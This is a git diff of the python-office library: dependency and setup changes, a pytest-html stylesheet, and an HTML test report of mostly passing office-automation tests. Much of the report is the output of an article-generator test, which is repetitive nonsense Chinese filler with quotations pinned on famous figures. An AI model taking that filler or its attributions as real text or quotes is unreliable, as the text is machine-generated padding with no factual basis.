+wftools==0.0.9 +xlrd==2.0.1 +xlwt==1.3.0 + +pofile~=0.1.5 +poexcel~=0.0.22 +poimage~=0.0.22 +poprogress~=0.0.2 +PyOfficeRobot~=0.1.21 +popdf~=1.0.1 +poppt~=0.1.1 +pospider~=0.0.1 +poword~=0.0.17 +povideo~=0.0.8 +pomarkdown~=0.0.3 \ No newline at end of file diff --git a/service/__init__.py b/service/__init__.py deleted file mode 100644 index 3cb249b..0000000 --- a/service/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -from . import image -from . import pdf -from . import ppt \ No newline at end of file diff --git a/service/image/__init__.py b/service/image/__init__.py deleted file mode 100644 index 11d9602..0000000 --- a/service/image/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from . import add_watermark_service \ No newline at end of file diff --git a/service/pdf/__init__.py b/service/pdf/__init__.py deleted file mode 100644 index 11d9602..0000000 --- a/service/pdf/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from . import add_watermark_service \ No newline at end of file diff --git a/service/ppt/__init__.py b/service/ppt/__init__.py deleted file mode 100644 index 8cdc191..0000000 --- a/service/ppt/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from . import ppt2pdf_service \ No newline at end of file diff --git a/setup.cfg b/setup.cfg index a217372..d57c1e3 100644 --- a/setup.cfg +++ b/setup.cfg @@ -1,7 +1,7 @@ [metadata] name = python-office -version = 0.0.19 -description = python for office +version = 1.0.1 +description = www.python-office.com long_description = file: README.md long_description_content_type = text/markdown url = https://github.com/CoderWanFeng/python-office @@ -11,36 +11,34 @@ license = Apache-2.0 license license_file = LICENSE platforms = any -project_urls = - Bug Tracker = https://github.com/CoderWanFeng/python-office/issues - Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md - Source Code = https://github.com/CoderWanFeng/python-office +project_urls = + Bug Tracker = https://github.com/CoderWanFeng/python-office/issues + Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md + Source Code = https://github.com/CoderWanFeng/python-office [options] packages = find: -install_requires = - xlrd - xlwt - xlutils - xlwings - python-docx - python-pptx - PyPDF2 - easyocr - openpyxl - pandas - Faker - reportlab - rich >= 9.13.0 - moviepy - fpdf - qrcode - translate - pikepdf - pypiwin32 - progress - alive_progress +install_requires = + poppt;platform_system=='Windows' + poword;platform_system=='Windows' + search4file;platform_system=='Windows' + PyOfficeRobot;platform_system=='Windows' + rich >= 9.13.0 + you-get + poimage + poexcel + pofile + popdf + wftools + povideo + poprogress + poocr + pocode + poemail + pospider + loguru + pomarkdown + python_requires = >=3.6 include_package_data = True zip_safe = False - diff --git a/setup.py b/setup.py index d93df10..06105c5 100644 --- a/setup.py +++ b/setup.py @@ -1,14 +1,14 @@ #!/usr/bin/env python -#-*- coding:utf-8 -*- +# -*- coding:utf-8 -*- ############################################# # File Name: setup.py -# Author: 程序员晚枫 +# 公众号/B站/小红书/抖音/知乎: 程序员晚枫 # Mail: 1957875073@qq.com # Created Time: 2022-4-19 10:17:34 -# Description: https://mp.weixin.qq.com/s/zzD4pxNMFd0ZuWqXlVFdAg +# Description: https://mp.weixin.qq.com/s/zzD4pxNMFd0ZuWqXlVFdAg \ https://setuptools.pypa.io/en/latest/userguide/dependency_management.html ############################################# -from setuptools import setup #这个包没有的可以pip一下 +from setuptools import setup # 这个包没有的可以pip一下 setup() diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..3ef7425 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,9 @@ +# pip install python-office -i https://pypi.python.org/simple -U +# pip install PyOfficeRobot -i https://pypi.python.org/simple -U +# pip install poimage -i https://pypi.python.org/simple -U + +# 1、pip freeze > allpackages.txt +# 2、pip uninstall -r allpackages.txt -y +# 3、pip install --upgrade python-office + +# 下载次数:https://pypistats.org/packages/python-office \ No newline at end of file diff --git a/tests/assets/style.css b/tests/assets/style.css new file mode 100644 index 0000000..3edac88 --- /dev/null +++ b/tests/assets/style.css @@ -0,0 +1,186 @@ +body { + font-family: Helvetica, Arial, sans-serif; + font-size: 12px; + /* do not increase min-width as some may use split screens */ + min-width: 800px; + color: #999; +} + +h1 { + font-size: 24px; + color: black; +} + +h2 { + font-size: 16px; + color: black; +} + +p { + color: black; +} + +a { + color: #999; +} + +table { + border-collapse: collapse; +} + +/****************************** + * SUMMARY INFORMATION + ******************************/ +#environment td { + padding: 5px; + border: 1px solid #E6E6E6; +} +#environment tr:nth-child(odd) { + background-color: #f6f6f6; +} + +/****************************** + * TEST RESULT COLORS + ******************************/ +span.passed, +.passed .col-result { + color: green; +} + +span.skipped, +span.xfailed, +span.rerun, +.skipped .col-result, +.xfailed .col-result, +.rerun .col-result { + color: orange; +} + +span.error, +span.failed, +span.xpassed, +.error .col-result, +.failed .col-result, +.xpassed .col-result { + color: red; +} + +/****************************** + * RESULTS TABLE + * + * 1. Table Layout + * 2. Extra + * 3. Sorting items + * + ******************************/ +/*------------------ + * 1. Table Layout + *------------------*/ +#results-table { + border: 1px solid #e6e6e6; + color: #999; + font-size: 12px; + width: 100%; +} +#results-table th, +#results-table td { + padding: 5px; + border: 1px solid #E6E6E6; + text-align: left; +} +#results-table th { + font-weight: bold; +} + +/*------------------ + * 2. Extra + *------------------*/ +.log { + background-color: #e6e6e6; + border: 1px solid #e6e6e6; + color: black; + display: block; + font-family: "Courier New", Courier, monospace; + height: 230px; + overflow-y: scroll; + padding: 5px; + white-space: pre-wrap; +} +.log:only-child { + height: inherit; +} + +div.image { + border: 1px solid #e6e6e6; + float: right; + height: 240px; + margin-left: 5px; + overflow: hidden; + width: 320px; +} +div.image img { + width: 320px; +} + +div.video { + border: 1px solid #e6e6e6; + float: right; + height: 240px; + margin-left: 5px; + overflow: hidden; + width: 320px; +} +div.video video { + overflow: hidden; + width: 320px; + height: 240px; +} + +.collapsed { + display: none; +} + +.expander::after { + content: " (show details)"; + color: #BBB; + font-style: italic; + cursor: pointer; +} + +.collapser::after { + content: " (hide details)"; + color: #BBB; + font-style: italic; + cursor: pointer; +} + +/*------------------ + * 3. Sorting items + *------------------*/ +.sortable { + cursor: pointer; +} + +.sort-icon { + font-size: 0px; + float: left; + margin-right: 5px; + margin-top: 5px; + /*triangle*/ + width: 0; + height: 0; + border-left: 8px solid transparent; + border-right: 8px solid transparent; +} +.inactive .sort-icon { + /*finish triangle*/ + border-top: 8px solid #E6E6E6; +} +.asc.active .sort-icon { + /*finish triangle*/ + border-bottom: 8px solid #999; +} +.desc.active .sort-icon { + /*finish triangle*/ + border-top: 8px solid #999; +} diff --git a/tests/report.html b/tests/report.html new file mode 100644 index 0000000..2e5dae3 --- /dev/null +++ b/tests/report.html @@ -0,0 +1,627 @@ + + + + + Test Report + + + +

    report.html

    +

    Report generated on 17-Sep-2022 at 19:41:27 by pytest-html v3.1.1

    +

    Environment

    + + + + + + + + + + + + +
    Packages{"pluggy": "1.0.0", "py": "1.11.0", "pytest": "7.1.3"}
    PlatformWindows-10-10.0.22622-SP0
    Plugins{"Faker": "14.2.0", "html": "3.1.1", "metadata": "2.0.2"}
    Python3.9.9
    +

    Summary

    +

    30 tests ran in 21.53 seconds.

    + 29 passed, 2 skipped, 1 failed, 0 errors, 0 expected failures, 0 unexpected passes +

    Results

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ResultTestDurationLinks
    Failedtests/test_unit/test_excel.py::TestExcel::test_merge2excel0.00
    +
    self = <tests.test_unit.test_excel.TestExcel testMethod=test_merge2excel>

    def test_merge2excel(self):
    > merge2excel(dir_path=r'../../contributors/bulabean', output_file='test_merge2excel.xlsx', )

    test_unit\test_excel.py:24:
    _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
    ..\office\api\excel.py:30: in merge2excel
    poexcel.merge2excel(dir_path, output_file)
    D:\software\python\py399\lib\site-packages\poexcel\api\excel.py:29: in merge2excel
    mainExcel.merge2excel(dir_path, output_file)
    D:\software\python\py399\lib\site-packages\poexcel\core\ExcelType.py:72: in merge2excel
    writer.save()
    D:\software\python\py399\lib\site-packages\pandas\io\excel\_openpyxl.py:81: in save
    self.book.save(self.handles.handle)
    D:\software\python\py399\lib\site-packages\openpyxl\workbook\workbook.py:407: in save
    save_workbook(self, filename)
    D:\software\python\py399\lib\site-packages\openpyxl\writer\excel.py:293: in save_workbook
    writer.save()
    D:\software\python\py399\lib\site-packages\openpyxl\writer\excel.py:275: in save
    self.write_data()
    D:\software\python\py399\lib\site-packages\openpyxl\writer\excel.py:89: in write_data
    archive.writestr(ARC_WORKBOOK, writer.write())
    D:\software\python\py399\lib\site-packages\openpyxl\workbook\_writer.py:148: in write
    self.write_views()
    D:\software\python\py399\lib\site-packages\openpyxl\workbook\_writer.py:135: in write_views
    active = get_active_sheet(self.wb)
    _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

    wb = <openpyxl.workbook.workbook.Workbook object at 0x000001AC69734FD0>

    def get_active_sheet(wb):
    """
    Return the index of the active sheet.
    If the sheet set to active is hidden return the next visible sheet or None
    """
    visible_sheets = [idx for idx, sheet in enumerate(wb._sheets) if sheet.sheet_state == "visible"]
    if not visible_sheets:
    > raise IndexError("At least one sheet must be visible")
    E IndexError: At least one sheet must be visible

    D:\software\python\py399\lib\site-packages\openpyxl\workbook\_writer.py:33: IndexError
    ------------------------------Captured stdout call------------------------------
    您指定的Excel文件已经合并完毕,合并后的文件名是test_merge2excel.xlsx +
    Skippedtests/test_unit/test_tools.py::TestTools::test_lottery8ticket0.00
    +
    ('D:\\workplace\\code\\github\\python-office\\tests\\test_unit\\test_tools.py', 18, 'Skipped: 交互式功能,暂时跳过')
    Skippedtests/test_unit/test_tools.py::TestTools::test_weather0.00
    +
    ('D:\\workplace\\code\\github\\python-office\\tests\\test_unit\\test_tools.py', 10, 'Skipped: 交互式功能,暂时跳过')
    Passedtests/test_unit/test_excel.py::TestExcel::test_fake2excel0.36
    +
    ------------------------------Captured stdout call------------------------------
    |████████████████████████████████████████| 1/1 [100%] in 0.0s (40.36/s) +
    Passedtests/test_unit/test_excel.py::TestExcel::test_find_excel_data0.00
    +
    No log output captured.
    Passedtests/test_unit/test_excel.py::TestExcel::test_merge2sheet0.05
    +
    ------------------------------Captured stdout call------------------------------
    正在合并的文件有:['fake2excel-1.xlsx', 'fake2excel.xlsx', 'merge2sheet.xlsx'] +合并后的文件名是:merge2sheet +合并后的sheet名是:Sheet1 +
    Passedtests/test_unit/test_excel.py::TestExcel::test_sheet2excel0.19
    +
    ------------------------------Captured stdout call------------------------------
    一共有2个sheet,名称分别为:['Sheet1', 'Sheet2'] +拆分开始 +拆分结束 +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/2 [00:00<?, ?it/s] + 0%| | 0/2 [00:00<?, ?it/s] 100%|██████████| 2/2 [00:00<?, ?it/s] + 50%|█████ | 1/2 [00:00<00:00, 8.61it/s] + 0%| | 0/2 [00:00<?, ?it/s] 100%|██████████| 2/2 [00:00<?, ?it/s] + 100%|██████████| 2/2 [00:00<00:00, 11.68it/s] +
    Passedtests/test_unit/test_excel.py::TestExcel::test_split_excel_by_column0.00
    +
    ------------------------------Captured stdout call------------------------------
    文件读取异常:../../contributors/bulabean/sedemo.xls +
    Passedtests/test_unit/test_file.py::TestFile::test_file_name_add_postfix0.00
    +
    No log output captured.
    Passedtests/test_unit/test_file.py::TestFile::test_file_name_add_prefix0.00
    +
    No log output captured.
    Passedtests/test_unit/test_file.py::TestFile::test_file_name_insert_content0.00
    +
    No log output captured.
    Passedtests/test_unit/test_file.py::TestFile::test_output_file_list_to_excel0.01
    +
    No log output captured.
    Passedtests/test_unit/test_file.py::TestFile::test_replace4filename0.00
    +
    ------------------------------Captured stdout call------------------------------
    |████████████████████████████████████████| 2/2 [100%] in 0.0s (39682.54/s) +当前目录下,共有2个文件/文件夹,本次运行共进行了0个文件/文件夹的重命名 +
    Passedtests/test_unit/test_file.py::TestFile::test_search_specify_type_file0.00
    +
    ------------------------------Captured stdout call------------------------------
    开始查找 +add_img.pdf,D:\workplace\code\github\python-office\tests\test_files\pdf +encrypt.pdf,D:\workplace\code\github\python-office\tests\test_files\pdf +in.pdf,D:\workplace\code\github\python-office\tests\test_files\pdf +merge2pdf.pdf,D:\workplace\code\github\python-office\tests\test_files\pdf +查找完成,共找到4个文件 +
    Passedtests/test_unit/test_image.py::TestImage::test_add_watermark0.03
    +
    ------------------------------Captured stdout call------------------------------
    output\0816.jpg 保存成功。 +
    Passedtests/test_unit/test_image.py::TestImage::test_down4img0.62
    +
    ------------------------------Captured stdout call------------------------------
    下载成功,图片名称:down4img.jpg +
    Passedtests/test_unit/test_pdf.py::TestPDF::test_add_img_water0.03
    +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<00:00, 79.61it/s] +
    Passedtests/test_unit/test_pdf.py::TestPDF::test_add_watermark0.07
    +
    ------------------------------Captured stdout call------------------------------
    请输入需要添加水印的文件位置:请输入需要添加的水印内容:==================== +正在按要求,给你的PDF文件添加水印,请让程序飞一会儿~ +==================== +水印添加结束,请打开电脑上的这个位置,查看结果文件:D:\workplace\code\github\python-office\tests +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<00:00, 123.90it/s] +
    Passedtests/test_unit/test_pdf.py::TestPDF::test_add_watermark_by_parameters0.13
    +
    ------------------------------Captured stdout call------------------------------
    ==================== +正在按要求,给你的PDF文件添加水印,请让程序飞一会儿~ +==================== +水印添加结束,请打开电脑上的这个位置,查看结果文件:D:\workplace\code\github\python-office\tests +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<00:00, 141.10it/s] +
    Passedtests/test_unit/test_pdf.py::TestPDF::test_decrypt4pdf0.19
    +
    No log output captured.
    Passedtests/test_unit/test_pdf.py::TestPDF::test_encrypt4pdf0.20
    +
    No log output captured.
    Passedtests/test_unit/test_pdf.py::TestPDF::test_merge2pdf0.00
    +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<?, ?it/s] + 0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<?, ?it/s] +
    Passedtests/test_unit/test_pdf.py::TestPDF::test_pdf2docx0.07
    +
    No log output captured.
    Passedtests/test_unit/test_pdf.py::TestPDF::test_pdf2imgs0.02
    +
    ------------------------------Captured stdout call------------------------------
    PDF开始转换,你可以加入交流群唠唠嗑:http://www.python4office.cn/wechat-group/ +PDF转换Image完成,图片在你指定的output文件夹./test_files/pdf,如果没有指定,默认是PDF同一个文件夹 +
    ------------------------------Captured stderr call------------------------------
    0%| | 0/1 [00:00<?, ?it/s] 100%|██████████| 1/1 [00:00<00:00, 45.73it/s] +
    Passedtests/test_unit/test_ppt.py::TestPPT::test_ppt2pdf10.41
    +
    No log output captured.
    Passedtests/test_unit/test_ruiming.py::TestRuiming::test_change_label_in_xml0.00
    +
    No log output captured.
    Passedtests/test_unit/test_ruiming.py::TestRuiming::test_screen_unmarked_image0.00
    +
    ------------------------------Captured stdout call------------------------------
    筛选完成 +
    Passedtests/test_unit/test_ruiming.py::TestRuiming::test_screen_without_label_json_file0.00
    +
    ------------------------------Captured stdout call------------------------------
    正在筛选无标签内容的json文件 +筛选完成 +
    Passedtests/test_unit/test_search_by_content.py::TestSBC::test_search_by_content0.01
    +
    No log output captured.
    Passedtests/test_unit/test_tools.py::TestTools::test_create_article0.00
    +
    ------------------------------Captured stdout call------------------------------
    了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.经过上述讨论, 既然如此, 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 培根曾经提到过, 合理安排时间,就等于节约时间。这句话看似简单,但其中的阴郁不禁让人深思. 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 生日快乐, 到底应该如何实现. 生日快乐, 到底应该如何实现. 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 在这种困难的抉择下, 本人思来想去, 寝食难安.从这个角度来看, 而这些并不是完全重要, 更加重要的问题是, 生日快乐, 发生了会如何, 不发生又会如何. 从这个角度来看, 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 王阳明曾经说过, 故立志者,为学之心也;为学者,立志之事也。这不禁令我深思. 歌德说过一句富有哲理的话, 没有人事先了解自己到底有多大的力量,直到他试过以后才知道。这似乎解答了我的疑惑. 我认为, 佚名说过一句著名的话, 感激每一个新的挑战,因为它会锻造你的意志和品格。这句话看似简单,但其中的阴郁不禁让人深思. 生日快乐, 发生了会如何, 不发生又会如何. 一般来说, 我们不得不面对一个非常尴尬的事实, 那就是, 苏轼说过一句富有哲理的话, 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志。带着这句话, 我们还要更加慎重的审视这个问题: 这样看来, 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 杰纳勒尔·乔治·S·巴顿曾经提到过, 接受挑战,就可以享受胜利的喜悦。这句话把我们带到了一个新的维度去思考这个问题: 达尔文曾经说过, 敢于浪费哪怕一个钟头时间的人,说明他还不懂得珍惜生命的全部价值。带着这句话, 我们还要更加慎重的审视这个问题: 经过上述讨论, 这样看来, . + 在这种困难的抉择下, 本人思来想去, 寝食难安.总结的来说, 一般来讲, 我们都必须务必慎重的考虑考虑. 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 这是不可避免的. 我们不妨可以这样来想: 一般来说, 这是不可避免的. 拉罗什福科在不经意间这样说过, 我们唯一不会改正的缺点是软弱。这不禁令我深思. 罗曼·罗兰说过一句富有哲理的话, 只有把抱怨环境的心情,化为上进的力量,才是成功的保证。这句话语虽然很短, 但令我浮想联翩. 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 那么, 既然如此, 每个人都不得不面对这些问题. 在面对这种问题时, 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.问题的关键究竟为何? 塞涅卡在不经意间这样说过, 真正的人生,只有在经过艰难卓绝的斗争之后才能实现。这启发了我. 生日快乐因何而发生?带着这些问题, 我们来审视一下生日快乐. 一般来讲, 我们都必须务必慎重的考虑考虑. 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 要想清楚, 生日快乐, 到底是一种怎么样的存在. 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 既然如何, 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.在这种不可避免的冲突下,我们必须解决这个问题. 在这种不可避免的冲突下,我们必须解决这个问题. 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 卡莱尔曾经提到过, 过去一切时代的精华尽在书中。这句话语虽然很短, 但令我浮想联翩. 我们都知道, 只要有意义, 那么就必须慎重考虑.这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 生日快乐因何而发生?卡耐基说过一句富有哲理的话, 我们若已接受最坏的,就再没有什么损失。这句话语虽然很短, 但令我浮想联翩. 那么, 带着这些问题, 我们来审视一下生日快乐. 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.. + 问题的关键究竟为何? 每个人都不得不面对这些问题. 在面对这种问题时, 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 我认为, 所谓生日快乐, 关键是生日快乐需要如何写. 既然如何, 总结的来说, 我们都知道, 只要有意义, 那么就必须慎重考虑.了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.我们不得不面对一个非常尴尬的事实, 那就是, 美华纳说过一句富有哲理的话, 勿问成功的秘诀为何,且尽全力做你应该做的事吧。带着这句话, 我们还要更加慎重的审视这个问题: 所谓生日快乐, 关键是生日快乐需要如何写. 而这些并不是完全重要, 更加重要的问题是, 莎士比亚曾经说过,那脑袋里的智慧,就像打火石里的火花一样,不去打它是不肯出来的。我希望诸位也能好好地体会这句话. +我们不妨可以这样来想: 要想清楚, 生日快乐, 到底是一种怎么样的存在. 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 带着这些问题, 我们来审视一下生日快乐. 这样看来, 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 我认为, 总结的来说, 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 一般来讲, 我们都必须务必慎重的考虑考虑. 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 经过上述讨论, 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 带着这些问题, 我们来审视一下生日快乐. 生日快乐, 发生了会如何, 不发生又会如何. 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.要想清楚, 生日快乐, 到底是一种怎么样的存在. 那么, 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 从这个角度来看, 了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.生日快乐, 到底应该如何实现. 要想清楚, 生日快乐, 到底是一种怎么样的存在. 我们都知道, 只要有意义, 那么就必须慎重考虑.在这种困难的抉择下, 本人思来想去, 寝食难安.了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.既然如何, 莎士比亚在不经意间这样说过, 人的一生是短的,但如果卑劣地过这一生,就太长了。带着这句话, 我们还要更加慎重的审视这个问题: 我认为, 总结的来说, 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 戴尔·卡耐基在不经意间这样说过,多数人都拥有自己不了解的能力和机会,都有可能做到未曾梦想的事情。这句话看似简单,但其中的阴郁不禁让人深思. 生日快乐因何而发生?一般来说, 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 迈克尔·F·斯特利说过一句著名的话, 最具挑战性的挑战莫过于提升自我。带着这句话, 我们还要更加慎重的审视这个问题: 在这种不可避免的冲突下,我们必须解决这个问题. . + 从这个角度来看, 这是不可避免的. 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 我们不妨可以这样来想: 每个人都不得不面对这些问题. 在面对这种问题时, 生日快乐, 到底应该如何实现. 问题的关键究竟为何? 达·芬奇说过一句富有哲理的话, 大胆和坚定的决心能够抵得上武器的精良。我希望诸位也能好好地体会这句话. 既然如此, 我们不得不面对一个非常尴尬的事实, 那就是, 所谓生日快乐, 关键是生日快乐需要如何写. 一般来讲, 我们都必须务必慎重的考虑考虑. 而这些并不是完全重要, 更加重要的问题是, 在这种困难的抉择下, 本人思来想去, 寝食难安.生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 经过上述讨论, 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 富勒曾经在不经意间这样说过, 苦难磨炼一些人,也毁灭另一些人。这不禁令我深思. 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 裴斯泰洛齐曾经提到过, 今天应做的事没有做,明天再早也是耽误了。这句话把我们带到了一个新的维度去思考这个问题: 这是不可避免的. 那么, 而这些并不是完全重要, 更加重要的问题是, 每个人都不得不面对这些问题. 在面对这种问题时, 拿破仑·希尔曾经提到过, 不要等待,时机永远不会恰到好处。这不禁令我深思. 这样看来, 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.我们不得不面对一个非常尴尬的事实, 那就是, 洛克在不经意间这样说过, 学到很多东西的诀窍,就是一下子不要学很多。这启发了我. 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 在这种不可避免的冲突下,我们必须解决这个问题. 既然如此, 生日快乐, 发生了会如何, 不发生又会如何. 生日快乐因何而发生?一般来说, 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.问题的关键究竟为何? 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 我们不妨可以这样来想: 我们都知道, 只要有意义, 那么就必须慎重考虑.培根在不经意间这样说过, 要知道对好事的称颂过于夸大,也会招来人们的反感轻蔑和嫉妒。这句话语虽然很短, 但令我浮想联翩. 既然如何, . + 所谓生日快乐, 关键是生日快乐需要如何写. 我们都知道, 只要有意义, 那么就必须慎重考虑.. + 既然如何, 要想清楚, 生日快乐, 到底是一种怎么样的存在. 罗素·贝克曾经提到过, 一个人即使已登上顶峰,也仍要自强不息。这启发了我. +现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 我认为, 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 德谟克利特说过一句富有哲理的话, 节制使快乐增加并使享受加强。这句话语虽然很短, 但令我浮想联翩. 笛卡儿曾经提到过, 读一切好书,就是和许多高尚的人谈话。这句话看似简单,但其中的阴郁不禁让人深思. . + 康德在不经意间这样说过, 既然我已经踏上这条道路,那么,任何东西都不应妨碍我沿着这条路走下去。这句话看似简单,但其中的阴郁不禁让人深思. 我们不妨可以这样来想: 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 生日快乐, 发生了会如何, 不发生又会如何. 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 问题的关键究竟为何? 经过上述讨论, 每个人都不得不面对这些问题. 在面对这种问题时, . + 既然如此, 既然如何, 从这个角度来看, 总结的来说, 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 一般来讲, 我们都必须务必慎重的考虑考虑. 所谓生日快乐, 关键是生日快乐需要如何写. 我们都知道, 只要有意义, 那么就必须慎重考虑.每个人都不得不面对这些问题. 在面对这种问题时, 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.这样看来, 在这种不可避免的冲突下,我们必须解决这个问题. . + 韩非说过一句富有哲理的话, 内外相应,言行相称。这句话看似简单,但其中的阴郁不禁让人深思. 带着这些问题, 我们来审视一下生日快乐. 我们不妨可以这样来想: 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 那么, 生日快乐, 到底应该如何实现. 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 这样看来, 在这种困难的抉择下, 本人思来想去, 寝食难安.生日快乐因何而发生?而这些并不是完全重要, 更加重要的问题是, 生日快乐, 到底应该如何实现. 在这种不可避免的冲突下,我们必须解决这个问题. 了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.这是不可避免的. 这是不可避免的. 我认为, 问题的关键究竟为何? 从这个角度来看, 要想清楚, 生日快乐, 到底是一种怎么样的存在. 总结的来说, 所谓生日快乐, 关键是生日快乐需要如何写. 邓拓曾经提到过, 越是没有本领的就越加自命不凡。这句话语虽然很短, 但令我浮想联翩. 冯学峰曾经提到过, 当一个人用工作去迎接光明,光明很快就会来照耀着他。这句话看似简单,但其中的阴郁不禁让人深思. 而这些并不是完全重要, 更加重要的问题是, 带着这些问题, 我们来审视一下生日快乐. 我们不得不面对一个非常尴尬的事实, 那就是, 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.我们不得不面对一个非常尴尬的事实, 那就是, 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 生日快乐因何而发生?可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 培根曾经说过, 阅读使人充实,会谈使人敏捷,写作使人精确。这句话看似简单,但其中的阴郁不禁让人深思. 一般来说, 生日快乐, 发生了会如何, 不发生又会如何. 一般来说, . + 拉罗什夫科说过一句富有哲理的话, 取得成就时坚持不懈,要比遭到失败时顽强不屈更重要。带着这句话, 我们还要更加慎重的审视这个问题: 洛克说过一句著名的话, 学到很多东西的诀窍,就是一下子不要学很多。这不禁令我深思. 经过上述讨论, . + 了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.既然如此, 在这种困难的抉择下, 本人思来想去, 寝食难安.那么, 一般来讲, 我们都必须务必慎重的考虑考虑. 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.培根说过,深窥自己的心,而后发觉一切的奇迹在你自己。这不禁令我深思. 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 卡耐基说过一句富有哲理的话, 一个不注意小事情的人,永远不会成就大事业。这句话看似简单,但其中的阴郁不禁让人深思. . + 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 我认为, 从这个角度来看, 这样看来, 